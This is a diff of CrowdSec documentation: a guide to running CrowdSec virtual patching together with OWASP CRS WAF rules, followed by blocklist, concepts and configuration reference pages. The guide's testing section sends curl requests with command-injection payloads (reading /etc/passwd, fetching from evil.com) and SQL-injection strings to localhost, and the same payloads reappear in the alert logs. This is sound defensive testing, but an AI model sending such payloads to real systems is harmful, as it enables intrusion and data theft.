+This guide shows how to deploy both CrowdSec's virtual patching rules and [OWASP Core Rule Set (CRS)](https://coreruleset.org/) together for comprehensive web application protection. CrowdSec's Virtual Patching rules will always be configured as blocking rules, while OWASP CRS can be configured in blocking or non-blocking rules.
+
+### OWASP Core Rule Set
+
+The OWASP CRS is a set of generic attack detection rules that aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with a minimum of false alerts. CRS provides protection against many common attack categories, including SQL Injection, Cross Site Scripting, Local File Inclusion, etc.
+
+### CrowdSec Virtual Patching Rules
+
+CrowdSec produces virtual patching rules for new (and sometime old) vulnerabilities that we see as having traction in the wild. While Virtual Patching rules doesn't offer a generic protection (as CRS might do) they do target specific vulnerabilities and offer nearly zero false positive chance.
+
+## Objective
+
+OWASP CRS can be integrated in various fashion with CrowdSec's WAF:
+ - **Non Blocking** will not block requests that trigger CRS, however, repeating offenders will get banned.
+ - **Blocking** will block any and all requests that trigger CRS, and ban repeating offenders.
+
+:::info
+This documentation assumes that you already have a Basic WAF setup with CrowdSec Security Engine.
+:::
+
+
+## OWASP Core Rule Set - Non-Blocking
+
+### Install Required Collections
+
+Install both the virtual patching and CRS collections:
+
+```bash title="Install virtual patching rules (in-band blocking)"
+cscli collections install crowdsecurity/appsec-virtual-patching
+```
+
+```bash title="Install OWASP CRS rules (out-of-band detection + scenario)
+cscli collections install crowdsecurity/appsec-crs
+```
+
+### Configure AppSec
+
+Update your AppSec acquisition configuration:
+
+```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
+appsec_configs:
+ - crowdsecurity/appsec-default # Virtual patching rules (in-band)
+ - crowdsecurity/crs # OWASP CRS rules (out-of-band)
+labels:
+ type: appsec
+listen_addr: 127.0.0.1:7422
+source: appsec
+```
+
+### Restart CrowdSec
+
+```bash
+sudo systemctl restart crowdsec
+```
+
+## How It Works
+
+### Two-Layer Protection
+
+**Layer 1 - Virtual Patching (In-band)**:
+- Rules from `crowdsecurity/appsec-default`
+- Evaluated synchronously before request proceeds
+- Blocks known exploits immediately
+- High-confidence, low false-positive rules
+
+**Layer 2 - OWASP CRS (Out-of-band)**:
+- Full ModSecurity Core Rule Set from `crowdsecurity/crs`
+- Evaluated asynchronously after request is processed
+- Comprehensive attack detection and analysis
+- No impact on request response time
+
+### CRS Out-of-Band Processing
+
+OWASP CRS rules are loaded as out-of-band rules, which means:
+
+1. **No Performance Impact**: CRS evaluation happens after the web server has already responded
+2. **Comprehensive Detection**: Full rule set can detect complex attack patterns
+3. **Event Generation**: Matches generate events for CrowdSec's scenario system
+4. **Behavioral Analysis**: The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors patterns and bans repeat offenders
+
+### Scenario Integration
+
+The `crowdsecurity/appsec-crs` collection includes:
+- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode
+- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations
+
+## Verification
+
+### Check Installation
+
+Verify that both configurations are loaded:
+
+```bash title="Check AppSec configurations"
+cscli appsec-configs list
+```
+Should show:
+- crowdsecurity/appsec-default
+- crowdsecurity/crs
+
+```bash title="Check scenarios"
+cscli scenarios list | grep appsec
+```
+Should show:
+- crowdsecurity/crowdsec-appsec-outofband
+
+### Check AppSec Status
+
+```bash title="Check that AppSec is running"
+cscli metrics
+```
+*Look for appsec metrics in the output*
+
+## Testing - CrowdSec Vpatch
+
+If CrowdSec vpatch rules are properly enabled, the following request should return a 403:
+
+```bash
+TARGET=localhost
+curl -I ${TARGET}'/.env'
+```
+
+
+## Testing - OWASP CRS
+
+:::warning
+Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS.
+Don't lock yourself out if CrowdSec or any other security rule processor applies a ban uppon the following:
+:::
+
+```bash
+TARGET=localhost
+curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
+curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
+curl -I ${TARGET}'/?x=A"'
+curl -I ${TARGET}'/?x=A"'
+curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
+curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
+```
+
+Uppon triggering those, you should see in CrowdSec logs:
+
+```bash
+time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC"
+time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx"
+```
+
+Further requests to the webserver should return 403:
+
+```bash
+$ curl -I ${TARGET}
+HTTP/1.1 403 Forbidden
+```
+
+## Alert Inspection
+
+You can inspect the alert to better see what URLs or payloads triggered the rules:
+
+```bash
+# cscli alerts list
+╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮
+│ ID │ value │ reason │ country │ as │ decisions │ created_at │
+├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤
+│ 2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │
+...
+```
+
+```bash
+# cscli alerts inspect -d 2172
+
+################################################################################################
+
+ - ID : 2172
+ - Date : 2025-08-22T09:39:51Z
+ - Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab
+ - Simulation : false
+ - Remediation : true
+ - Reason : crowdsecurity/crowdsec-appsec-outofband
+ - Events Count : 6
+ - Scope:Value : Ip:xxx
+ - Country :
+ - AS :
+ - Begin : 2025-08-22T09:39:50Z
+ - End : 2025-08-22T09:39:50Z
+ - UUID : a0ad365a-ef08-4c18-af80-20cc02625c35
+
+╭─────────────────────────────────────────────────────────────────────╮
+│ Active Decisions │
+├──────────┬─────────────┬────────┬────────────┬──────────────────────┤
+│ ID │ scope:value │ action │ expiration │ created_at │
+├──────────┼─────────────┼────────┼────────────┼──────────────────────┤
+│ 19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │
+╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯
+
+ - Context :
+╭────────────┬─────────────────────────────────────────────────────╮
+│ Key │ Value │
+├────────────┼─────────────────────────────────────────────────────┤
+│ rules │ native_rule:901340 │
+│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
+│ target_uri │ /?x=A" │
+│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
+╰────────────┴─────────────────────────────────────────────────────╯
+
+ - Events :
+
+- Date: 2025-08-22 09:39:50.326505724 +0000 UTC
+╭─────────────────────┬──────────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼──────────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │
+│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
+│ │ 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
+╰─────────────────────┴──────────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.33919196 +0000 UTC
+╭─────────────────────┬──────────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼──────────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │
+│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
+│ │ 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
+╰─────────────────────┴──────────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.352001523 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │
+│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A" │
+╰─────────────────────┴───────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.365872595 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │
+│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A" │
+╰─────────────────────┴───────────────────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.378905387 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │
+│ rule_ids │ [901340 942100 942190 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
+╰─────────────────────┴───────────────────────────────────────────────╯
+
+- Date: 2025-08-22 09:39:50.392514386 +0000 UTC
+╭─────────────────────┬───────────────────────────────────────────────╮
+│ Key │ Value │
+├─────────────────────┼───────────────────────────────────────────────┤
+│ datasource_path │ appsec │
+│ datasource_type │ appsec │
+│ log_type │ appsec-info │
+│ remediation_cmpt_ip │ 127.0.0.1 │
+│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │
+│ rule_ids │ [901340 942100 942190 949110 980170] │
+│ rule_name │ native_rule:901340 │
+│ service │ appsec │
+│ source_ip │ xxx │
+│ target_host │ localhost │
+│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
+╰─────────────────────┴───────────────────────────────────────────────╯
+
+```
+
+## Next Steps
+
+- Learn about [AppSec Configuration options](/appsec/configuration.md)
+- Understand [AppSec Hooks](/appsec/hooks.md) for customization
+- Explore [Rule Syntax](/appsec/rules_syntax.md) for custom rules
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/central_api/blocklist.md b/crowdsec-docs/versioned_docs/version-v1.6/central_api/blocklist.md
new file mode 100644
index 000000000..112e829f0
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/central_api/blocklist.md
@@ -0,0 +1,67 @@
+---
+id: community_blocklist
+title: Community Blocklist
+sidebar_position: 3
+---
+
+# Introduction
+
+The "Community Blocklist" is a curated list of IP addresses identified as malicious by CrowdSec. CrowdSec proactively block the IP addresses of this blocklist, preventing malevolent IPs from reaching your systems.
+
+# Community Blocklist Variation and Eligibility
+
+:::info
+The Community Blocklist is **only** available when using the Security Engine. To gain access, follow the steps in the [Getting Started Guide](/u/getting_started/intro).
+:::
+
+The rules are different for free and paying users:
+ - Free users that **do not regularly** contribute get the `Community Blocklist (Lite)`
+ - Free users that **do regularly** contribute get access to the `Community Blocklist`
+ - Paying users get access to the `Community Blocklist (Premium)`, even if they don't contribute
+
+Regardless of the blocklist "tier" you have access to (`Lite`, `Community`, `Premium`), each Security Engine gets a tailored blocklist based on the kind of behavior you're trying to detect.
+
+## Community Blocklist
+
+Free users that are actively contributing to the network (sending signal on a regular basis) have their Security Engines automatically subscribed to the *Community Blocklist*.
+
+The content of the blocklist is unique to each Security Engine, as it mirrors the behaviours they report. For example, suppose you're running the Security Engine on a web server with WordPress. In that case, you will receive IPs performing generic attacks against web servers *and* IPs engaging in wordpress-specific attacks.
+
+The *Community Blocklist* contains 15 thousand malicious IP's based on your reported scenarios.
+
+## Community Blocklist (Premium)
+
+Paying users' Security Engine are automatically subscribed to the *Community Blocklist (Premium)*, which contains IPs that mirror their installed scenarios.
+Paying users' do not need to contribute to the network to be eligible to the blocklist.
+
+The *Community Blocklist (Premium)* blocklist content has no size limit, unlike free users.
+
+## Community Blocklist (Lite)
+
+Free users that are not actively contributing to the network or that have been flagged as cheating/abusing the system will receive the *Community Blocklist (Lite)*.
+
+This Blocklist is capped at 3 thousand IPs.
+
+### Why is my Security Engine on the Lite Blocklist?
+
+Your Security Engine may be placed on the Lite Blocklist for various reasons, such as:
+
+1. Low Visibility Services
+
+Your services are self-hosted (e.g., for private video or image hosting) and primarily accessed by a small group. As a result, your Security Engine detects less malicious activity compared to public-facing services like blogs or e-commerce sites.
+
+2. Comprehensive Security Setup
+
+Your existing security measures reduce reliance on the Community Blocklist. These may include:
+- Geoblocking (restricting access to certain countries)
+- IP whitelisting with a default deny-all policy
+- VPN-only access
+- OAuth authentication (e.g., Authentik, Authelia, Keycloak)
+
+This simply a result of your security model and access requirements, its neither an issue with your setup nor a limitation on our end.
+
+3. Incomplete CrowdSec Configuration
+
+Your Security Engine may not be monitoring all your services.
+
+If you suspect this might be the case, refer to our [post-installation guide](/u/getting_started/next_steps) to ensure full coverage.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/central_api/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/central_api/intro.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/central_api/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/central_api/intro.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/concepts.md b/crowdsec-docs/versioned_docs/version-v1.6/concepts.md
new file mode 100644
index 000000000..c2c26af10
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/concepts.md
@@ -0,0 +1,64 @@
+---
+id: concepts
+title: Concepts
+sidebar_position: 1
+---
+
+
+# Global overview
+
+# Security Engine
+
+> The Security Engine is CrowdSec's IDS/IPS (Intrusion Detection System/Intrusion Prevention System)
+> It is a rules and behavior detection engine comprised of Log Processor and the Local API.
+
+A Security Engine can operate [independently](/intro#architecture) or in a [distributed manner](/intro#deployment-options), adapting to the specific needs and constraints of your infrastructure. For more information on CrowdSec's distributed approach, visit our documentation on collaborative operations and distributed deployments.
+
+
+# Log Processor (LP)
+
+> The Log Processor is the part of the Security Engine in charge of the detection of bad behaviors, based on your logs or your HTTP trafic.
+
+The Log Processor (abreviated as `LP`) detects bad behaviors via two main functions:
+ - [Acquire](/log_processor/data_sources/introduction.md) logs, [parse](/log_processor/parsers/introduction.mdx), [enrich](/log_processor/parsers/enricher.md) and match them against [Scenarios](/log_processor/scenarios/introduction.mdx).
+ - Receive [HTTP Requests](/log_processor/data_sources/appsec.md) and match them against the [Appsec Rules](/appsec/intro.md).
+
+Alerts resulting from Scenarios or Appsec Rules being triggered are sent to the `LAPI`.
+
+# Local API (LAPI)
+
+> The Local API is the part of the Security Engine acting as the middleman between the Log Processors, the Remediation Components and the Central API.
+
+The Local API (abreviated as `LAPI`) has several functions:
+ - Receive alerts from Log Processors and create Decisions based on configured [Profiles](/local_api/profiles/intro.md)
+ - Expose Decisions to [Remediation Components](/u/bouncers/intro)
+ - Interact with the Central API to send Alerts receive Blocklists
+
+
+# Remediation Components (Bouncers)
+
+> The Remediation Components (also called `Bouncers`) are external components in charge of enforcing decisions.
+
+Remediation Components rely on the Local API to receive decisions about malevolent IPs to be blocked *(or other supported types or remediations such as Captcha, supported by some of our Bouncers).*
+*Note that they also support [CrowdSec's Blocklist as a Service](/u/integrations/intro).*
+
+Those Decisions can be based on behavioral detection made by the `LP` or from Blocklists.
+
+Remediations components leverage existing components of your infrastructure to block malevolent IPs where it matters most. You can find them on our [Remediation Components' HUB](https://app.crowdsec.net/hub/remediation-components)
+
+# Central API (CAPI)
+
+> The Central API (CAPI) serves as the gateway for network participants to connect and communicate with CrowdSec's network.
+
+The Central API (abreviated as `CAPI`) receives attack signals from all participating Security Engines and signal partners, then re-distribute them curated community decisions ([Community Blocklist](/central_api/community_blocklist/)).
+It's also at the heart of CrowdSec centralized [Blocklist services](/u/blocklists/intro).
+
+# Console
+
+> The CrowdSec Console is a web-based interface providing reporting, alerting, management and QoL features to CrowdSec's products usages: from your park of Security Engines to the management of CTI related actions
+
+The [Console](https://app.crowdsec.net) allows you to:
+ - [Manage alerts](/u/console/alerts/intro) of your security stack
+ - [Manage decisions](/u/console/decisions/decisions_intro) in real-time
+ - View and use [blocklists and integrations](/u/blocklists/intro)
+ - Manage your API keys ([CTI API](/u/cti_api/intro), [Service API](/u/service_api/getting_started))
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/crowdsec_configuration.md b/crowdsec-docs/versioned_docs/version-v1.6/configuration/crowdsec_configuration.md
similarity index 77%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/configuration/crowdsec_configuration.md
rename to crowdsec-docs/versioned_docs/version-v1.6/configuration/crowdsec_configuration.md
index 958507382..cc4eee4be 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/crowdsec_configuration.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/configuration/crowdsec_configuration.md
@@ -15,6 +15,79 @@ You can find the default configurations on our GitHub repository:
[Windows default configuration](https://github.com/crowdsecurity/crowdsec/blob/master/config/config_win.yaml)
+## Common configuration directories & paths
+
+### `/etc/crowdsec/`
+
+All CrowdSec configuration are living in this directory.
+
+### `/etc/crowdsec/config.yaml`
+
+Main configuration file for Log Processor and Local API.
+
+### `/etc/crowdsec/acquis.d` and `/etc/crowdsec/acquis.yaml`
+
+Documents which log sources and datasources are processed by the Log Processor.
+
+`/etc/crowdsec/acquis.yaml` is the historical acquisition configuration file.
+`/etc/crowdsec/acquis.d/*.yaml` is prefered when possible.
+
+### `/etc/crowdsec/bouncers/*.yaml`
+
+Individual configuration file for bouncers.
+
+### `/etc/crowdsec/collections/*.yaml`
+
+Collections currently installed on the Log Processor.
+
+### `/etc/crowdsec/console.yaml`
+
+Console specific flags:
+ - enable/disable decisions management from the console
+ - enable/disable sharing of manual decisions with the console
+ - enable/disable sharing of custom/tainted scenarios related decisions with the console
+ - enable/disable sharing of alert context data with the console.
+
+### `/etc/crowdsec/contexts/*.yaml`
+
+Enabled alert context for Local API and Log Processor. This is where you should add custom data to be sent in alert context.
+
+### `/etc/crowdsec/hub/`
+
+Local Hub Mirror. Not intended to be modified by the user. Do not put custom scenarios/parsers here.
+
+### `/etc/crowdsec/local_api_credentials.yaml` and `/etc/crowdsec/online_api_credentials.yaml`
+
+Credentials for Local API and Central API.
+
+### `/etc/crowdsec/parsers`
+
+Contains all parsers enabled on the Log Processor, including local parsers, organised in stages:
+ - `/etc/crowdsec/parsers/s00-raw/*.yaml` : parsers for based formats such as syslog.
+ - `/etc/crowdsec/parsers/s01-parse/*.yaml` : service specific parsers such as nginx or ssh.
+ - `/etc/crowdsec/parsers/s02-enrich/*.yaml` : enrichment parsers and whitelists.
+
+
+### `/etc/crowdsec/scenarios`
+
+Contains all scenarios enabled on the Log Processor, including local scenarios.
+
+### `/etc/crowdsec/profiles.yaml`
+
+Contains profiles used by Local API to eventually turn alerts into decisions or dispatch them to notification plugins.
+
+### `/etc/crowdsec/notifications/*.yaml`
+
+Contains notification plugins configuration (slack, email, splunk, etc.)
+
+### `/etc/crowdsec/appsec-configs/*.yaml`
+
+Contains AppSec (WAF) configuration indicating which rules or loaded in `inband` and `outofband` files, as well as eventual `hooks` configuration.
+
+### `/etc/crowdsec/appsec-rules/*.yaml`
+
+Contains individual AppSec (WAF) rules loaded by `appsec-configs` files.
+
## Environment variables
It is possible to set configuration values based on environment variables.
@@ -97,7 +170,7 @@ always replaced.
- `bouncers/crowdsec-blocklist-mirror.yaml`
In the case of `profiles.yaml`, the files are read as a whole (as if they were
-attached) instead of merged. See [profiles - introduction](/profiles/intro.md).
+attached) instead of merged. See [profiles - introduction](/local_api/profiles/intro.md).
## Configuration directives
@@ -114,6 +187,7 @@ common:
log_max_age:
log_max_files:
compress_logs: (true|false)
+ log_format: "(text|json)"
config_paths:
config_dir: ""
data_dir: ""
@@ -145,11 +219,15 @@ db_config:
host: "" # for mysql/pgsql
port: "" # for mysql/pgsql
sslmode: "" # for pgsql
+ ssl_ca_cert: "" # for mysql/pgsql
+ ssl_client_cert: "" # for mysql/pgsql
+ ssl_client_key: "" # for mysql/pgsql
use_wal: "true|false" # for sqlite
max_open_conns: ""
flush:
max_items: ""
max_age: ""
+ metrics_max_age: ""
bouncers_autodelete:
cert: ""
api_key: ""
@@ -166,6 +244,7 @@ api:
client:
insecure_skip_verify: "(true|false)"
credentials_path: ""
+ unregister_on_exit: "(true|false)"
server:
enable: # enable or disable local API
log_level: "(error|info|debug|trace>")"
@@ -174,6 +253,10 @@ api:
use_forwarded_for_headers: ""
console_path:
online_client:
+ sharing: "(true|false)"
+ pull:
+ community: "(true|false)"
+ blocklists: "(true|false)"
credentials_path: ""
disable_remote_lapi_registration: (true|false)
capi_whitelists_path: ""
@@ -192,6 +275,11 @@ api:
#- 127.0.0.1
#- ::1
#- 10.0.0.0/24
+ auto_registration:
+ enabled:
+ token:
+ allowed_ranges:
+ - 10.0.0.0/24
prometheus:
enabled: "(true|false)"
level: "(full|aggregated)"
@@ -213,6 +301,7 @@ common:
log_max_age:
log_max_files:
compress_logs: (true|false)
+ log_format: "(text|json)"
```
#### `daemonize`
@@ -269,6 +358,11 @@ Maximum number of old log files to retain. The default is to retain 3 old log f
Whether to compress the log file after rotation or not.
+#### `log_format`
+> string
+
+Format of crowdsec log. Can be `text` (default) or `json`
+
### `config_paths`
This section contains most paths to various sub configuration items.
@@ -283,6 +377,7 @@ config_paths:
index_path: ""
notification_dir: ""
plugin_dir: ""
+ pattern_dir: ""
```
#### `config_dir`
@@ -322,6 +417,11 @@ Path to directory where configuration files for `notification` plugins are kept.
Each notification plugin is expected to have its own configuration file.
+#### `pattern_dir`
+> string
+
+Path to directory where pattern files are located. Can be omitted from configuration and CrowdSec will use the `config_dir` + `patterns/` as default.
+
### `crowdsec_service`
@@ -436,11 +536,15 @@ db_config:
host: "" # for mysql/postgresql/pgx # must be omitted if using socket file
port: "" # for mysql/postgresql/pgx # must be omitted if using socket file
sslmode: "" # for postgresql/pgx
+ ssl_ca_cert: "" # for mysql/pgsql
+ ssl_client_cert: "" # for mysql/pgsql
+ ssl_client_key: "" # for mysql/pgsql
max_open_conns: ""
decision_bulk_size: ""
flush:
max_items: ""
max_age: ""
+ metrics_max_age: ""
bouncers_autodelete:
cert: ""
api_key: ""
@@ -532,13 +636,48 @@ db_config:
The port to connect to (only if the type of database is `mysql` or `postgresql`). Must be omitted if using socket file.
+#### `sslmode`
+
```yaml
db_config:
type: postgresql
sslmode: require
```
-Require or disable ssl connection to database (only if the type of database is `postgresql`). See [PostgreSQL SSL modes](https://www.postgresql.org/docs/current/libpq-ssl.html#LIBPQ-SSL-SSLMODE-STATEMENTS) for possible values.
+Require or disable ssl connection to database (only if the type of database is `mysql` or `postgresql` or `pgx`).
+
+See [PostgreSQL SSL modes](https://www.postgresql.org/docs/current/libpq-ssl.html#LIBPQ-SSL-SSLMODE-STATEMENTS) for possible values.
+See [MySQL SSL modes](https://dev.mysql.com/doc/refman/8.0/en/using-encrypted-connections.html) for possible values within the `Client-Side` configuration.
+
+#### `ssl_ca_cert`
+
+```yaml
+db_config:
+ type: mysql|postgresql|pgx
+
+ ssl_ca_cert: /path/to/ca.crt
+```
+Path to the CA certificate file (only if the type of database is `mysql` or `postgresql` or `pgx`)
+
+#### `ssl_client_cert`
+
+```yaml
+db_config:
+ type: mysql|postgresql|pgx
+
+ ssl_client_cert: /path/to/client.crt
+```
+Path to the client certificate file when using mTLS (only if the type of database is `mysql` or `postgresql` or `pgx`)
+
+#### `ssl_client_key`
+
+```yaml
+db_config:
+ type: mysql|postgresql|pgx
+
+ ssl_client_key: /path/to/client.key
+```
+Path to the client key file when using mTLS (only if the type of database is `mysql` or `postgresql` or `pgx`)
#### `max_open_conns`
@@ -587,6 +726,7 @@ When WAL is unspecified you will see the following warning message at startup :
flush:
max_items:
max_age:
+ metrics_max_age:
bouncers_autodelete:
cert: ""
api_key: ""
@@ -605,6 +745,21 @@ Number max of alerts in database.
Alerts retention time.
+Supported units:
+
+ - `s`: seconds
+
+ - `m`: minutes
+
+ - `h`: hours
+
+ - `d`: days
+
+#### `metrics_max_age`
+> string
+
+Usage metrics retention time.
+
Supported units:
- `s`: seconds
@@ -660,6 +815,7 @@ api:
client:
insecure_skip_verify: "(true|false)"
credentials_path: ""
+ unregister_on_exit: "(true|false)"
server:
enable:
log_level: "(error|info|debug|trace>"
@@ -668,6 +824,10 @@ api:
use_forwarded_for_headers: "(true|false)"
console_path:
online_client:
+ sharing: "(true|false)"
+ pull:
+ community: "(true|false)"
+ blocklists: "(true|false)"
credentials_path: ""
disable_remote_lapi_registration: (true|false)
capi_whitelists_path: ""
@@ -682,7 +842,11 @@ api:
- bouncers_ou
crl_path: ""
cache_expiration: ""
-
+ auto_registration:
+ enabled:
+ token:
+ allowed_ranges:
+ - 10.0.0.0/24
```
#### `cti`
@@ -741,6 +905,7 @@ The client subsection is used by `crowdsec` and `cscli` to read and write decisi
client:
insecure_skip_verify: "(true|false)"
credentials_path: ""
+ unregister_on_exit: "(true|false)"
```
##### `insecure_skip_verify`
@@ -753,6 +918,13 @@ Allows the use of https with self-signed certificates.
Path to the credential files (contains API url + login/password).
+##### `unregister_on_exit`
+>bool
+
+If set to `true`, the log processor will remove delete itself from LAPI when stopping.
+
+Intended for use in dynamic environment such as Kubernetes.
+
#### `server`
The `server` subsection is the local API configuration.
@@ -770,6 +942,10 @@ server:
#- 10.0.0.0/24
console_path:
online_client:
+ sharing: "(true|false)"
+ pull:
+ community: "(true|false)"
+ blocklists: "(true|false)"
credentials_path:
disable_remote_lapi_registration: (true|false)
capi_whitelists_path: ""
@@ -784,6 +960,11 @@ server:
- bouncers_ou
crl_path: ""
cache_expiration: ""
+ auto_registration:
+ enabled:
+ token:
+ allowed_ranges:
+ - 10.0.0.0/24
```
##### `enable`
@@ -814,6 +995,13 @@ This option will disable the registration of remote agents using `cscli lapi reg
##### `capi_whitelists_path`
> string
+:::warning
+
+This option is deprecated.
+You should use [centralized allowlists](local_api/allowlists.md) instead.
+
+:::
+
The path to whitelists file for community and 3rd party blocklists.
Those IPs/CIDR whitelists apply on all the IPs received from community blocklist or 3rd party lists subscriptions.
@@ -838,9 +1026,36 @@ Configuration to push signals and receive bad IPs from Crowdsec API.
```yaml
online_client:
+ sharing: "(true|false)"
+ pull:
+ community: "(true|false)"
+ blocklists: "(true|false)"
credentials_path: ""
```
+###### `sharing`
+> bool
+
+Whether you want to share signals with Central API, please note as outlined in the [Community blocklists](central_api/blocklist.md) section, enabling or disabling based on your plan type will affect how many IP's are downloaded from the community blocklists.
+
+###### `pull`
+
+```yaml
+pull:
+ community: "(true|false)"
+ blocklists: "(true|false)"
+```
+
+###### `community`
+> bool
+
+Whether to pull signals from the community blocklists. Useful when you want to share your signals with the community but don't want to receive signals from the community.
+
+###### `blocklists`
+> bool
+
+Whether to pull signals from the CrowdSec blocklists. Useful when you want to share your signals with the community but don't want to receive signals from 3rd party or first party blocklists.
+
###### `credentials_path`
> string
@@ -929,6 +1144,40 @@ The format must be compatible with golang [time.Duration](https://pkg.go.dev/tim
IPs or IP ranges which have admin access to API. The APIs would still need to have API keys.
127.0.0.1 and ::1 are always given admin access whether specified or not.
+#### `auto_registration`
+
+This section configures LAPI to automatically accept new machine registrations
+
+```yaml
+auto_registration:
+ enabled:
+ token:
+ allowed_ranges:
+ - 10.0.0.0/24
+```
+
+##### `enabled`
+> bool
+
+Whether automatic registration should be enabled.
+
+Defaults to `false`.
+
+##### `token`
+> string
+
+Token that should be passed in the registration request if LAPI needs to automatically validate the machine.
+
+It must be at least 32 chars, and is mandatory if the feature is enabled.
+
+##### `allowed_ranges`
+> []string
+
+IP ranges that are allowed to use the auto registration features.
+
+It must have at least one entry if the feature is enabled
+
+
### `prometheus`
This section is used by local API and crowdsec.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/feature_flags.md b/crowdsec-docs/versioned_docs/version-v1.6/configuration/feature_flags.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/configuration/feature_flags.md
rename to crowdsec-docs/versioned_docs/version-v1.6/configuration/feature_flags.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/configuration/network_management.md b/crowdsec-docs/versioned_docs/version-v1.6/configuration/network_management.md
similarity index 90%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/configuration/network_management.md
rename to crowdsec-docs/versioned_docs/version-v1.6/configuration/network_management.md
index 826dd1e59..2c289f5f5 100644
